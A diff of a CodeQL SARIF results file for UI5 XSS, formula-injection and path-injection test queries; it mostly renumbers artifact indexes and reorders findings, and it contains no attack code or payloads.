                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17576,7 +17234,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 10,
@@ -17594,7 +17252,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 32,
@@ -17612,7 +17270,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 243
+                  "index" : 240
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17633,7 +17291,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 243
+            "index" : 240
           },
           "region" : {
             "startLine" : 5,
@@ -17663,7 +17321,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 243
+            "index" : 240
           },
           "region" : {
             "startLine" : 17,
@@ -17684,7 +17342,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 18,
@@ -17702,7 +17360,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 18,
@@ -17720,7 +17378,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 19,
@@ -17738,7 +17396,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 239
+                  "index" : 236
                 },
                 "region" : {
                   "startLine" : 34,
@@ -17756,7 +17414,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 243
+                  "index" : 240
                 },
                 "region" : {
                   "startLine" : 17,
@@ -17777,7 +17435,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 239
+            "index" : 236
           },
           "region" : {
             "startLine" : 18,
@@ -17806,7 +17464,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 251
+            "index" : 248
           },
           "region" : {
             "startLine" : 8,
@@ -17827,7 +17485,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 251
+                  "index" : 248
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17846,7 +17504,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 247
+                  "index" : 244
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17864,7 +17522,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 251
+                  "index" : 248
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17885,7 +17543,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 251
+            "index" : 248
           },
           "region" : {
             "startLine" : 5,
@@ -17915,7 +17573,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 259
+            "index" : 256
           },
           "region" : {
             "startLine" : 8,
@@ -17936,7 +17594,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 259
+                  "index" : 256
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17955,7 +17613,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 255
+                  "index" : 252
                 },
                 "region" : {
                   "startLine" : 12,
@@ -17973,7 +17631,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 259
+                  "index" : 256
                 },
                 "region" : {
                   "startLine" : 8,
@@ -17995,7 +17653,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 259
+                  "index" : 256
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18014,7 +17672,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 255
+                  "index" : 252
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18032,7 +17690,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 255
+                  "index" : 252
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18050,7 +17708,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 255
+                  "index" : 252
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18068,7 +17726,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 255
+                  "index" : 252
                 },
                 "region" : {
                   "startLine" : 16,
@@ -18086,7 +17744,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 255
+                  "index" : 252
                 },
                 "region" : {
                   "startLine" : 10,
@@ -18104,7 +17762,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 259
+                  "index" : 256
                 },
                 "region" : {
                   "startLine" : 8,
@@ -18125,7 +17783,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 259
+            "index" : 256
           },
           "region" : {
             "startLine" : 5,
@@ -18155,7 +17813,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 276
+            "index" : 273
           },
           "region" : {
             "startLine" : 8,
@@ -18176,7 +17834,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 276
+                  "index" : 273
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18195,7 +17853,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 271
+                  "index" : 268
                 },
                 "region" : {
                   "startLine" : 8,
@@ -18213,7 +17871,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 276
+                  "index" : 273
                 },
                 "region" : {
                   "startLine" : 8,
@@ -18234,7 +17892,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 276
+            "index" : 273
           },
           "region" : {
             "startLine" : 5,
@@ -18264,7 +17922,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 284
+            "index" : 281
           },
           "region" : {
             "startLine" : 8,
@@ -18285,7 +17943,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 284
+                  "index" : 281
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18303,7 +17961,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 280
+                  "index" : 277
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18321,7 +17979,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 284
+                  "index" : 281
                 },
                 "region" : {
                   "startLine" : 8,
@@ -18342,7 +18000,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 284
+            "index" : 281
           },
           "region" : {
             "startLine" : 5,
@@ -18371,7 +18029,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 339
+            "index" : 335
           },
           "region" : {
             "startLine" : 22,
@@ -18392,7 +18050,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 339
+                  "index" : 335
                 },
                 "region" : {
                   "startLine" : 8,
@@ -18411,7 +18069,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 335
+                  "index" : 332
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18429,7 +18087,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 339
+                  "index" : 335
                 },
                 "region" : {
                   "startLine" : 22,
@@ -18451,7 +18109,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 339
+                  "index" : 335
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18470,7 +18128,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 335
+                  "index" : 332
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18488,7 +18146,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 339
+                  "index" : 335
                 },
                 "region" : {
                   "startLine" : 22,
@@ -18509,7 +18167,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 339
+            "index" : 335
           },
           "region" : {
             "startLine" : 8,
@@ -18527,7 +18185,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 339
+            "index" : 335
           },
           "region" : {
             "startLine" : 15,
@@ -18541,34 +18199,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-formula-injection",
+      "ruleId" : "js/ui5-xss",
       "rule" : {
-        "id" : "js/ui5-formula-injection",
-        "index" : 1,
+        "id" : "js/ui5-xss",
+        "index" : 0,
         "toolComponent" : {
           "index" : 1
         }
       },
       "message" : {
-        "text" : "The content of a saved file depends on a [user-provided value](1)."
+        "text" : "XSS vulnerability due to [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 90
+            "index" : 308
           },
           "region" : {
-            "startLine" : 17,
-            "startColumn" : 27,
-            "endColumn" : 45
+            "startLine" : 13,
+            "startColumn" : 15,
+            "endColumn" : 25
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "41899ff1a967017d:1",
-        "primaryLocationStartColumnFingerprint" : "10"
+        "primaryLocationLineHash" : "c18df3aa119b40dc:1",
+        "primaryLocationStartColumnFingerprint" : "11"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -18576,28 +18234,27 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 94
+                  "index" : 308
                 },
                 "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
+                  "startLine" : 9,
+                  "startColumn" : 13,
+                  "endColumn" : 23
                 }
               },
               "message" : {
-                "text" : "value={/input}"
+                "text" : "\"value\": \"{/input}\""
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 91
+                  "index" : 304
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18613,36 +18270,18 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 90
-                },
-                "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 23,
-                  "endColumn" : 38
-                }
-              },
-              "message" : {
-                "text" : "{ type: \"int\" }"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 90
+                  "index" : 308
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 27,
-                  "endColumn" : 45
+                  "startLine" : 13,
+                  "startColumn" : 15,
+                  "endColumn" : 25
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "\"content\": \"{/input}\""
               }
             }
           } ]
@@ -18652,15 +18291,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 94
+            "index" : 308
           },
           "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
+            "startLine" : 9,
+            "startColumn" : 13,
+            "endColumn" : 23
           }
         },
         "message" : {
@@ -18682,19 +18320,19 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 99
+            "index" : 86
           },
           "region" : {
-            "startLine" : 23,
+            "startLine" : 17,
             "startColumn" : 27,
-            "endColumn" : 39
+            "endColumn" : 45
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "9afa5fd07ee36af6:1",
+        "primaryLocationLineHash" : "41899ff1a967017d:1",
         "primaryLocationStartColumnFingerprint" : "10"
       },
       "codeFlows" : [ {
@@ -18703,9 +18341,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 106
+                  "index" : 95
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18722,9 +18360,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 100
+                  "index" : 90
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18740,12 +18378,139 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 99
+                  "index" : 86
                 },
                 "region" : {
-                  "startLine" : 9,
+                  "startLine" : 8,
+                  "startColumn" : 23,
+                  "endColumn" : 38
+                }
+              },
+              "message" : {
+                "text" : "{ type: \"int\" }"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 86
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 27,
+                  "endColumn" : 45
+                }
+              },
+              "message" : {
+                "text" : "oControl.getText()"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 95
+          },
+          "region" : {
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/ui5-formula-injection",
+      "rule" : {
+        "id" : "js/ui5-formula-injection",
+        "index" : 1,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "The content of a saved file depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 97
+          },
+          "region" : {
+            "startLine" : 23,
+            "startColumn" : 27,
+            "endColumn" : 39
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "9afa5fd07ee36af6:1",
+        "primaryLocationStartColumnFingerprint" : "10"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 100
+                },
+                "region" : {
+                  "startLine" : 5,
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
+                }
+              },
+              "message" : {
+                "text" : "value={/input}"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 96
+                },
+                "region" : {
+                  "startLine" : 9,
+                  "startColumn" : 17,
+                  "endColumn" : 28
+                }
+              },
+              "message" : {
+                "text" : "input: null"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 97
+                },
+                "region" : {
+                  "startLine" : 9,
                   "startColumn" : 23,
                   "endColumn" : 41
                 }
@@ -18760,7 +18525,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 99
+                  "index" : 97
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18778,7 +18543,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 99
+                  "index" : 97
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18796,7 +18561,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 99
+                  "index" : 97
                 },
                 "region" : {
                   "startLine" : 17,
@@ -18814,7 +18579,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 99
+                  "index" : 97
                 },
                 "region" : {
                   "startLine" : 17,
@@ -18832,7 +18597,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 99
+                  "index" : 97
                 },
                 "region" : {
                   "startLine" : 17,
@@ -18850,7 +18615,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 99
+                  "index" : 97
                 },
                 "region" : {
                   "startLine" : 17,
@@ -18868,7 +18633,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 99
+                  "index" : 97
                 },
                 "region" : {
                   "startLine" : 23,
@@ -18889,7 +18654,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 106
+            "index" : 100
           },
           "region" : {
             "startLine" : 5,
@@ -18919,7 +18684,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 108
+            "index" : 105
           },
           "region" : {
             "startLine" : 16,
@@ -18940,7 +18705,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 108
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18959,7 +18724,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 108
+                  "index" : 105
                 },
                 "region" : {
                   "startLine" : 10,
@@ -18977,7 +18742,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 108
+                  "index" : 105
                 },
                 "region" : {
                   "startLine" : 16,
@@ -18998,7 +18763,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 111
+            "index" : 108
           },
           "region" : {
             "startLine" : 5,
@@ -19028,7 +18793,7 @@
           "artifactLocation" : {
             "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 142
+            "index" : 139
           },
           "region" : {
             "startLine" : 17,
@@ -19049,7 +18814,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 147
+                  "index" : 143
                 },
                 "region" : {
                   "startLine" : 5,
@@ -19068,7 +18833,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 143
+                  "index" : 140
                 },
                 "region" : {
                   "startLine" : 9,
@@ -19086,7 +18851,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 142
+                  "index" : 139
                 },
                 "region" : {
                   "startLine" : 8,
@@ -19104,7 +18869,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 142
+                  "index" : 139
                 },
                 "region" : {
                   "startLine" : 17,
@@ -19125,7 +18890,7 @@
